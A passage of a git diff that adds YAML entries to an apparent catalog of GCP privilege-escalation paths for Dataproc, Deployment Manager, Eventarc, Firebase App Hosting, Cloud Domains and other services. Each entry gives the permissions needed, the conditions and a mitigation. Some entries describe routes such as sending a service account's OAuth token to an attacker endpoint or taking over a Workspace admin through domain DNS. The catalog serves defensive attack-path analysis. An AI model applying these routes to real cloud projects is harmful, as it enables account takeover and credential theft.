account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocsessionscreate--dataprocsessiontemplatescreate--interactive-serverless-session-run-as-sa + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that holds roles/dataproc.worker. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: dataproc.sessions.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts usable as Dataproc session SA in {project}" + conditions: + - id: sa_worker_role + description: The chosen SA needs roles/dataproc.worker for the session to schedule. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on specific SAs and restrict dataproc.sessions.create. + notes: Session templates (dataproc.sessionTemplates.create) persist the SA for later sessions; that is persistence and is not a separate edge. + +- id: gcp-dataproc-clusters-setiampolicy + provider: gcp + service: dataproc + title: Self-grant job submission on a Dataproc cluster through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclusterssetiampolicy--self-grant-use-of-a-specific-cluster + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Dataproc cluster on which it holds dataproc.clusters.setIamPolicy. + requires: + all_of: + - action: dataproc.clusters.setIamPolicy + resource: "{target.host_resource}" + - action: dataproc.jobs.create + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: same_project + aggregate_as: "SAs of Dataproc clusters whose IAM policy the source controls" + conditions: + - id: script_upload + description: The follow-up job needs a script location readable by the cluster. + blockers: + - gcp_deny_policy + confidence: derived + severity: high + mitigation: Restrict dataproc.clusters.setIamPolicy (roles/dataproc.admin). + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/iam/granular-iam + notes: A cluster-level role does not turn its project-scoped permissions into project grants, so dataproc.jobs.create must already be held at project level (Granular IAM). On a Component Gateway-enabled cluster the self-granted clusters.use alone also reaches the cluster SA (see gcp-dataproc-component-gateway-existing-cluster). No actAs or project-level IAM change needed. jobs.setIamPolicy and workflowTemplates.setIamPolicy are listed by HackTricks too, but a job-level grant does not by itself confer clusters.use, so only the cluster-level self-grant is modelled. + +- id: gcp-dataproc-workflowtemplates-actas + provider: gcp + service: dataproc + title: Create and instantiate a workflow template with a chosen SA and initialization actions + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocworkflowtemplatescreate----initialization-actions--template--init-action-tamper-persistence + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs and that holds roles/dataproc.worker. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: dataproc.workflowTemplates.create + resource: "*" + - action: dataproc.workflowTemplates.instantiate + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts pinnable in Dataproc workflow templates in {project}" + conditions: + - id: sa_worker_role + description: The pinned SA needs roles/dataproc.worker for the managed cluster to be created. + - id: actas_point + description: Where actAs is checked (template create vs instantiate) is not stated by HackTricks; modelled as required for the source. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Restrict dataproc.workflowTemplates create/update/instantiate and actAs grants. + notes: The persistence aspect (others instantiating the template later) is not modelled. + +- id: gcp-dataproc-component-gateway-existing-cluster + provider: gcp + service: dataproc + title: Run notebook code as the service account of an existing Component Gateway-enabled Dataproc cluster + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#component-gateway-jupyter--zeppelin--interactive-code-exec-as-the-cluster-sa-without-jobscreate + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Component Gateway-enabled Dataproc cluster with a notebook component on which it holds dataproc.clusters.use, without dataproc.jobs.create. + requires: + all_of: + - action: dataproc.clusters.use + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: same_project + aggregate_as: "SAs of Component Gateway-enabled Dataproc clusters the source can use" + conditions: + - id: gateway_notebook_enabled + description: The cluster must have Component Gateway enabled with a code-executing web UI (Jupyter or Zeppelin optional component); dataproc.clusters.get is used to discover the gateway URL. + - id: access_scopes + description: The usable token is limited by the cluster VMs' access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Do not enable Jupyter/Zeppelin with Component Gateway on clusters with privileged SAs, and restrict dataproc.clusters.use. + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/accessing/dataproc-gateways + notes: Google documents dataproc.clusters.use as the permission required to access enabled component web interfaces. No actAs needed; creating a new gateway cluster is covered by gcp-dataproc-clusters-batches-create-actas. + +- id: gcp-dataproc-staging-object-replace + provider: gcp + service: dataproc + title: Replace staged scripts or dependencies that an existing Dataproc cluster loads + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of Dataproc clusters whose referenced staging/config bucket objects (job dependencies, initialization actions) it can replace. + requires: + all_of: + - action: storage.objects.create + resource: "{target.host_resource.content_storage}" + - action: storage.objects.delete + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: any + aggregate_as: "SAs of Dataproc clusters loading code from objects the source can replace" + conditions: + - id: reused_object + description: A later legitimate job or node startup (initialization action, scale-up) must load the exact replaced object by name; per-job staging paths that are not reused give no execution. + - id: object_protection + description: Retention policies, object holds or generation pinning block replacement. + - id: access_scopes + description: The usable token is limited by the cluster VMs' access scopes. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Keep Dataproc config/staging buckets and initialization-action scripts writable only by the cluster owners and the cluster SA. + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/configuring-clusters/staging-bucket + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: dataproc.clusters.get only discovers the SA, scopes and bucket names; the escalation is the object replacement. Planting a brand-new object needs only storage.objects.create but executes nothing unless a consumer references it. + +- id: gcp-dataproc-staging-object-plant + provider: gcp + service: dataproc + title: Plant a new Dataproc staging dependency for a later job + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#dataprocclustersget--config-leak-sa--scopes--buckets--metadata--properties--staging-bucket-poison + source_revision: 6fb9ac51fd + summary: The source can place a new object at a Dataproc staging path that a later + cluster job loads, causing its code to run as the existing cluster service account. + requires: + all_of: + - action: storage.objects.create + resource: '{target.host_resource.content_storage}' + target: + kind: gcp_service_account + selector: + attached_to_service: dataproc_cluster + scope: any + aggregate_as: SAs of Dataproc clusters loading code from objects the source can + replace + conditions: + - id: new_object_path + description: The referenced object name must be unused; replacing an existing + live generation also requires storage.objects.delete and is covered by gcp-dataproc-staging-object-replace. + - id: trusted_consumer + description: A later job on the selected cluster must load the planted JAR or + script from that exact unpinned path; mere write access to the staging bucket + does not cause execution. + - id: staging_bucket + description: The caller must be able to create the object in the specific config + or temp bucket consumed by the cluster, and the cluster service account must + be able to read it. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict writes to Dataproc staging buckets and pin job dependencies + to reviewed immutable generations. + references: + - https://docs.cloud.google.com/dataproc/docs/concepts/configuring-clusters/staging-bucket + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: dataproc.clusters.get only discovers the SA, scopes and bucket names; the + escalation is the object replacement. Planting a brand-new object needs only storage.objects.create + but executes nothing unless a consumer references it. +- id: gcp-dataproc-yarn-unauthenticated-job + provider: gcp + service: dataproc + title: Unauthenticated Dataproc YARN UI submits job as cluster identity + source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#managed-service-tenant--host-escapes + source_revision: 0b36331 + summary: Unauthenticated Dataproc YARN UI submits job as cluster identity; emit only when exact source, target, + and prerequisite evidence is verified. + requires: + all_of: [] + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-dataproc-yarn-unauthenticated-job + scope: any + outcome: workload_execution + aggregate_as: Unauthenticated Dataproc YARN UI submits job as cluster identity + conditions: + - id: exact_verified_prerequisites + description: The exact source, target and exploit-enabling facts must be verified; missing facts evaluate UNKNOWN. + confidence: conditional + severity: high + mitigation: Restrict the stated permission and remove the exploitable trust or configuration. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#managed-service-tenant--host-escapes + source_kind: gcp_challenge_foothold diff --git a/src/privilege-escalation-paths-research/gcp/deploymentmanager.yaml b/src/privilege-escalation-paths-research/gcp/deploymentmanager.yaml new file mode 100644 index 0000000000..730008483b --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/deploymentmanager.yaml @@ -0,0 +1,167 @@ +# GCP Cloud Deployment Manager privilege escalation techniques (legacy; end of support 2026-03-31). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Deployments always execute as the Google APIs Service Agent @cloudservices.gserviceaccount.com +# (roles/editor by default). attached_to_service: cloudservices_agent -> that project's Google APIs Service Agent. +# The agent's roles/editor includes actAs but NOT resourcemanager.projects.setIamPolicy, so onward reach (e.g. VMs with +# any project SA) is through the agent node's own edges, not project ownership. + +- id: gcp-deploymentmanager-deployments-create + provider: gcp + service: deploymentmanager + title: Create a Deployment Manager deployment executed by the Google APIs Service Agent + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the Google APIs Service Agent (cloudservices) of every project where it holds deploymentmanager.deployments.create. + requires: + all_of: + - action: deploymentmanager.deployments.create + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudservices_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Google APIs Service Agent of {project}" + conditions: + - id: legacy_service + description: Deployment Manager support ended on 2026-04-01; the V2 API stays available to existing customers until 2027-06-30, and from 2026-06-30 new users cannot enable it or create a first deployment. + - id: agent_roles + description: The agent holds roles/editor only if the default grant was not removed; actual power equals its current bindings. + - id: indirect_use + description: The source uses the agent only by declaring resources (no token); every Editor-grantable resource, including VMs with any project SA and the cloud-platform scope, is creatable. + - id: gcloud_get + description: The gcloud helper also needs deploymentmanager.deployments.get to finish, but sends the insert before that read, so create alone triggers the deployment. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API, remove roles/editor from the cloudservices agent where possible and restrict roles/deploymentmanager.editor. + references: + - https://cloud.google.com/deployment-manager/docs/access-control + notes: The per-deployment credential.serviceAccount field is ignored by the live service (HackTricks), so the identity is always the cloudservices agent. The agent may not appear in the project's SA list; evaluators need a synthetic node. + +- id: gcp-deploymentmanager-deployments-update + provider: gcp + service: deploymentmanager + title: Update an existing Deployment Manager deployment + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentscreate--update--deploy-through-the-google-apis-service-agent + source_revision: 171e422 + summary: The source can obtain the privileges of the Google APIs Service Agent (cloudservices) of every project where it holds deploymentmanager.deployments.update on a deployment. + requires: + all_of: + - action: deploymentmanager.deployments.update + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudservices_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Google APIs Service Agent of {project}" + conditions: + - id: existing_deployment + description: Needs an existing deployment and its current fingerprint; the raw API needs no read, the gcloud helper needs deploymentmanager.deployments.get first. The replacement config must keep existing resources to avoid deleting them. + - id: legacy_service + description: Deployment Manager support ended on 2026-04-01; the V2 API stays available to existing customers until 2027-06-30. + blockers: + - gcp_deny_policy + confidence: conditional + severity: critical + mitigation: Disable the Deployment Manager API and restrict deploymentmanager.deployments.update. + +- id: gcp-deploymentmanager-deployments-setiampolicy + provider: gcp + service: deploymentmanager + title: Self-grant update on a deployment through its IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md#deploymentmanagerdeploymentssetiampolicy--self-grant-control-of-one-existing-deployment + source_revision: 171e422 + summary: The source can obtain the privileges of the Google APIs Service Agent (cloudservices) of every project where it holds deploymentmanager.deployments.setIamPolicy on a deployment. + requires: + all_of: + - action: deploymentmanager.deployments.setIamPolicy + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudservices_agent + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Google APIs Service Agent of {project}" + conditions: + - id: grantable_role + description: The source binds roles/deploymentmanager.admin on the deployment (the API accepts deployment-level Admin bindings) and then uses deployments.update on that deployment only; project-level deployments.create is not conferred. + - id: existing_deployment + description: Needs an existing deployment. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict deploymentmanager.deployments.setIamPolicy (Owner, Deployment Manager Admin, Security Admin). + references: + - https://docs.cloud.google.com/deployment-manager/docs/access-control + +- id: gcp-pa-s03-1-deploymentmanager + provider: gcp + service: deploymentmanager + title: Recover a second identity credential from a Deployment Manager manifest + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + source_revision: 0b36331 + summary: A manifest read may disclose a usable credential for a separately identified principal. + requires: + all_of: + - action: deploymentmanager.manifests.get + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-pa-s03-1-deploymentmanager + scope: any + aggregate_as: Exact externally verified target for Recover a second identity credential from a Deployment Manager + manifest + conditions: + - id: exact_verified_prerequisites + description: Only a safely verified unredacted manifest credential with an exact, valid target identity yields a + conditional path. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict deploymentmanager.manifests.get to trusted operators and remove or narrow the underlying delegated + credential or operation. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md + notes: Schema-valid provisional draft only. Requires credential-target inventory and exact source-to-manifest-to-target + join. Missing joined facts must evaluate UNKNOWN; do not emit an edge from permission alone. +- id: gcp-deploymentmanager-manifest-credential + provider: gcp + service: deploymentmanager + title: Recover an unredacted credential from a deployment manifest + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-deployment-manager-enum.md#what-to-review + summary: A readable manifest with a verified embedded credential can expose the credential owner. + requires: + all_of: + - action: deploymentmanager.manifests.get + resource: '{target.host_resource}' + target: + kind: gcp_service_account + selector: + attached_to_service: deploymentmanager_manifest_credential + scope: any + outcome: credentials + aggregate_as: Service accounts with verified live keys in readable Deployment Manager manifests + conditions: + - id: credential_evidence + description: The manifest must contain a live, unredacted GCP service-account private key, with the client + email verified; only that service account is a target. + confidence: conditional + severity: high + mitigation: Remove credentials from deployment templates and restrict manifest reads. + source_revision: 0b36331 + blockers: + - gcp_deny_policy + references: + - https://docs.cloud.google.com/deployment-manager/docs/best-practices#including_credentials_in_your_deployment + notes: Discovery permissions are not required when the deployment and manifest names are known. Non-GCP credentials + require a separate target kind. diff --git a/src/privilege-escalation-paths-research/gcp/developerconnect.yaml b/src/privilege-escalation-paths-research/gcp/developerconnect.yaml new file mode 100644 index 0000000000..2ddaee5671 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/developerconnect.yaml @@ -0,0 +1,42 @@ + +# GCP Developer Connect privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-developer-connect-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. attached_to_service: sourcerepo_trigger_consumer is +# defined in securesourcemanager.yaml ("{target.artifact_arn}" here is the Developer Connect gitRepositoryLink). + +- id: gcp-developerconnect-readwrite-token-pipeline-poison + provider: gcp + service: developerconnect + title: Write to a linked repository through Developer Connect and poison the pipeline that builds from it + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-developer-connect-privesc.md#fetchreadwritetoken-or-git-proxy-write---poison-a-privileged-repository-driven-pipeline + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the run-as identity of Cloud Build triggers or deployment pipelines that automatically build from external repositories it can write through a Developer Connect repository link. + requires: + any_of: + - - action: developerconnect.gitRepositoryLinks.fetchReadWriteToken + resource: "{target.artifact_arn}" + - - action: developerconnect.gitRepositoryLinks.gitProxyRead + resource: "{target.artifact_arn}" + - action: developerconnect.gitRepositoryLinks.gitProxyWrite + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: sourcerepo_trigger_consumer + scope: any + aggregate_as: "Run-as SAs of pipelines building from repositories writable through Developer Connect" + conditions: + - id: git_proxy_enabled + description: The gitProxyRead plus gitProxyWrite alternative (roles/developerconnect.gitProxyUser, roles/developerconnect.admin) needs the connection's system Git proxy enabled and its URI known; roles/developerconnect.admin does not contain fetchReadWriteToken. + - id: provider_write_allowed + description: The provider integration must allow writes to the repository, and the triggering ref/file must not be protected by provider branch rules or approvals. + - id: automatic_consumer + description: A trigger or deployment pipeline must automatically build from the written repository/ref/event as a more privileged identity. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict fetchReadWriteToken (roles/developerconnect.tokenAccessor) and Git proxy write roles, protect trigger branches in the provider, and require approval on privileged build triggers. + references: + - https://docs.cloud.google.com/developer-connect/docs/access-control + notes: Developer Connect itself runs no code; the escalation ceiling is the downstream build/deployment identity. diff --git a/src/privilege-escalation-paths-research/gcp/dialogflow.yaml b/src/privilege-escalation-paths-research/gcp/dialogflow.yaml new file mode 100644 index 0000000000..eeac494a3c --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dialogflow.yaml @@ -0,0 +1,32 @@ +# GCP Dialogflow credential routes. The required collector fact is not yet available. +- id: gcp-pa-s03-4-dialogflow + provider: gcp + service: dialogflow + title: Redirect a routed webhook retaining an external credential + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + source_revision: 0b36331 + summary: Changing a routed webhook endpoint may disclose its retained external authentication material. + requires: + all_of: + - action: dialogflow.webhooks.update + resource: '*' + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-pa-s03-4-dialogflow + scope: any + aggregate_as: Exact externally verified target for Redirect a routed webhook retaining an external credential + conditions: + - id: exact_verified_prerequisites + description: A routed invocation reaches an allowed attacker endpoint while a valid reusable external credential + remains attached. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict dialogflow.webhooks.update to trusted operators and remove or narrow the underlying delegated + credential or operation. + references: + - https://github.com/HackTricks-wiki/hacktricks-cloud/blob/0b36331/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md + notes: Schema-valid provisional draft only. Needs external credential target kind as well as collector facts; future + invocation is conditional. Missing joined facts must evaluate UNKNOWN; do not emit an edge from permission alone. diff --git a/src/privilege-escalation-paths-research/gcp/dlp.yaml b/src/privilege-escalation-paths-research/gcp/dlp.yaml new file mode 100644 index 0000000000..9053c94015 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/dlp.yaml @@ -0,0 +1,28 @@ +- id: gcp-dlp-job-quote-sa-credential + provider: gcp + service: dlp + title: Read quoted credentials from DLP job findings of a GCP service account + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-sensitive-data-protection-dlp-enum.md#enumeration + source_revision: 0b36331 + summary: A readable dlp job quote contains a verified reusable credential belonging to another GCP service account. + requires: + all_of: + - action: dlp.jobs.get + resource: '*' + - action: bigquery.tables.getData + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-dlp-job-quote-sa-credential + scope: any + outcome: credentials + conditions: + - id: verified_content + description: Emit only for exact source, resource, target and scope evidence after verifying credential validity; + absent or incomplete content is UNKNOWN, and metadata or secret names alone do not qualify. + confidence: conditional + severity: high + mitigation: Restrict dlp.jobs.get on sensitive resources; rotate exposed service-account credentials. + references: + - https://docs.cloud.google.com/sensitive-data-protection/docs/reference/rest diff --git a/src/privilege-escalation-paths-research/gcp/domains.yaml b/src/privilege-escalation-paths-research/gcp/domains.yaml new file mode 100644 index 0000000000..fcfdbec079 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/domains.yaml @@ -0,0 +1,63 @@ +# GCP Cloud Domains privilege escalation techniques. +# Source: hacktricks-cloud gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md (rev 171e422). +# Needs the domains_registration inventory {name, domainName} (not collected yet -> unresolved placeholders). + +- id: gcp-domains-configuredns-workspace-admin-recovery + provider: gcp + service: domains + title: Repoint a Cloud Domains registration's name servers to recover the Workspace super administrator + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md#domainsregistrationsconfiguredns--redirect-authoritative-dns + source_revision: 171e422 + summary: The source can obtain the privileges of Workspace super administrators of tenants whose primary domain is a Cloud Domains registration whose DNS settings it can change. + requires: + all_of: + - action: domains.registrations.configureDns + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: dnssec + description: Published DS records must be removed and aged out first, otherwise the change breaks resolution instead of redirecting it. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + - id: attacker_name_servers + description: The source must operate the replacement authoritative name servers. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureDns on registrations of Workspace domains and monitor name-server changes and admin-recovery events. + notes: Same end state as gcp-workspace-cloud-dns-admin-recovery, with the registration (not a Cloud DNS zone) as the control point. + +- id: gcp-domains-configuremanagement-transfer-workspace-admin-recovery + provider: gcp + service: domains + title: Transfer a Cloud Domains registration out with its authorization code to recover the Workspace super administrator + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-domains-post-exploitation.md#domainsregistrationsconfiguremanagement--obtain-the-transfer-credential-and-transfer-the-domain + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of Workspace super administrators of tenants whose primary domain is a Cloud Domains registration whose management settings (registrar lock, transfer authorization code) it can change, because a completed transfer gives it control of the domain's DNS. + requires: + all_of: + - action: domains.registrations.configureManagement + resource: "{target.domain_registration}" + target: + kind: gcp_workspace_user + selector: + gcp_workspace_super_admin_with_registered_domain: true + scope: any + aggregate_as: "Workspace super administrators of domains registered in Cloud Domains" + conditions: + - id: transfer_eligibility + description: The registration must be transfer-eligible (older than 60 days, unlocked where supported, TLD rules); push-transfer TLDs need the push flow instead of an authorization code. + - id: receiving_registrar + description: The source must complete the transfer at a receiving registrar it controls and then publish DNS for the domain. + - id: recovery_process + description: Depends on Google's administrator-recovery process accepting the DNS domain-verification challenge for the tenant. + blockers: [gcp_deny_policy] + confidence: conditional + severity: critical + mitigation: Restrict domains.registrations.configureManagement on registrations of Workspace domains, keep the registrar lock on, and monitor authorization-code retrieval, lock changes and transfer events. + notes: Same end state as gcp-domains-configuredns-workspace-admin-recovery and gcp-workspace-cloud-dns-admin-recovery; the control point is the registrar transfer instead of the name-server setting. diff --git a/src/privilege-escalation-paths-research/gcp/eventarc.yaml b/src/privilege-escalation-paths-research/gcp/eventarc.yaml new file mode 100644 index 0000000000..78d6732216 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/eventarc.yaml @@ -0,0 +1,61 @@ + +# GCP Eventarc privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-eventarc-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. + +- id: gcp-eventarc-pipeline-oauth-token-actas + provider: gcp + service: eventarc + title: Create an Eventarc Advanced pipeline that sends a service account's OAuth token to an attacker endpoint + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-eventarc-privesc.md#eventarcpipelinescreate--iamserviceaccountsactas--receive-an-oauth-token-for-a-service-account + source_revision: 171e422 + summary: The source can obtain an access token, and so the privileges, of any service account on which it + holds iam.serviceAccounts.actAs, by routing bus events through a pipeline whose HTTPS destination it controls. + requires: + all_of: + - action: eventarc.pipelines.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + any_of: + - - action: eventarc.enrollments.create + resource: '*' + - action: eventarc.messageBuses.use + resource: '*' + - - action: eventarc.enrollments.update + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Eventarc pipeline OAuth identity in {project} + conditions: + - id: enrollment + description: An enrollment must route a compatible bus to this pipeline in the same region. The update + branch requires an existing enrollment that can be repointed; an enrollment with no matching event does + not deliver a token. + - id: service_agent_token + description: The pipeline project's Eventarc service agent needs iam.serviceAccounts.getAccessToken on + the SA (roles/eventarc.serviceAgent supplies it for same-project SAs; cross-project SAs need an explicit + grant). + - id: matching_event + description: At least one matching event must traverse the enrollment (a legitimate event, or one injected + with eventarc.messageBuses.publish); enrollment, pipeline and bus must share a region. + - id: reachable_receiver + description: The attacker HTTPS endpoint must be reachable from Eventarc (internal endpoints need a network + attachment); Google's guidance to use OAuth only for *.googleapis.com is not an enforced host restriction. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Eventarc SAs, restrict eventarc.pipelines.create and enrollments, + and alert on pipelines with non-googleapis.com OAuth destinations. + references: + - https://docs.cloud.google.com/eventarc/docs/reference/rest/v1/projects.locations.pipelines + - https://docs.cloud.google.com/eventarc/advanced/docs/access-control + notes: The token scope defaults to cloud-platform. roles/eventarc.developer lacks actAs and messageBuses.use. + Standard-trigger OIDC tokens are audience-bound and not modelled. Enrollment-create/bus-use or enrollment-update + is an IAM prerequisite, not merely a descriptive condition. diff --git a/src/privilege-escalation-paths-research/gcp/firebaseapphosting.yaml b/src/privilege-escalation-paths-research/gcp/firebaseapphosting.yaml new file mode 100644 index 0000000000..d89f191373 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/firebaseapphosting.yaml @@ -0,0 +1,107 @@ + +# GCP Firebase App Hosting privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: firebase_apphosting_backend -> the serviceAccount configured on an existing App Hosting backend +# ("{target.host_resource}"), used for its builds and its Cloud Run runtime. + +- id: gcp-firebaseapphosting-build-rollout-existing-backend + provider: gcp + service: firebaseapphosting + title: Deploy an image to an existing Firebase App Hosting backend and run as its service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-app-hosting-privesc.md#firebaseapphostingbuildscreate--firebaseapphostingrolloutscreate--deploy-an-image-as-an-existing-backend-identity + source_revision: 171e422 + summary: The source can obtain the privileges of the service account of every Firebase App Hosting backend on which it can create builds and rollouts, without iam.serviceAccounts.actAs. + requires: + all_of: + - action: firebaseapphosting.builds.create + resource: "{target.host_resource}" + - action: firebaseapphosting.rollouts.create + resource: "{target.host_resource}" + target: + kind: gcp_service_account + selector: + attached_to_service: firebase_apphosting_backend + scope: same_project + aggregate_as: "SAs of Firebase App Hosting backends the source can deploy to" + conditions: + - id: readable_image + description: The build must reference a compatible Artifact Registry image readable by the backend, and the rollout must build and actuate successfully. + - id: backend_change_separate + description: Changing the backend identity needs firebaseapphosting.backends.update plus actAs on the new SA; not required here. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/firebaseapphosting.developer and give App Hosting backends least-privilege service accounts. + references: + - https://firebase.google.com/docs/reference/apphosting/rest/v1/projects.locations.backends + - https://docs.cloud.google.com/iam/docs/roles-permissions/firebaseapphosting + notes: Both permissions are in roles/firebaseapphosting.developer. The Backend REST reference documents serviceAccount as the account used for Cloud Build and Cloud Run. + +- id: gcp-firebaseapphosting-backends-update-actas + provider: gcp + service: firebaseapphosting + title: Switch an App Hosting backend's runtime identity to a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-firebase-app-hosting-persistence.md#backend-hijack--repoint-source-or-runtime-identity + source_revision: 171e422 + summary: The source can obtain the privileges of service accounts on which it holds iam.serviceAccounts.actAs, by setting them as the serviceAccount of a Firebase App Hosting backend it can update and deploying code to it. + requires: + all_of: + - action: firebaseapphosting.backends.update + resource: "*" + - action: iam.serviceAccounts.actAs + resource: "{target.email}" + - action: firebaseapphosting.builds.create + resource: "*" + - action: firebaseapphosting.rollouts.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts settable as Firebase App Hosting backend identity in {project}" + conditions: + - id: code_delivery + description: The build must reference attacker code/image readable by the backend. Without builds/rollouts permissions the same identity switch works only if an automatic rollout from a source-controlled repository follows (not modelled). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict 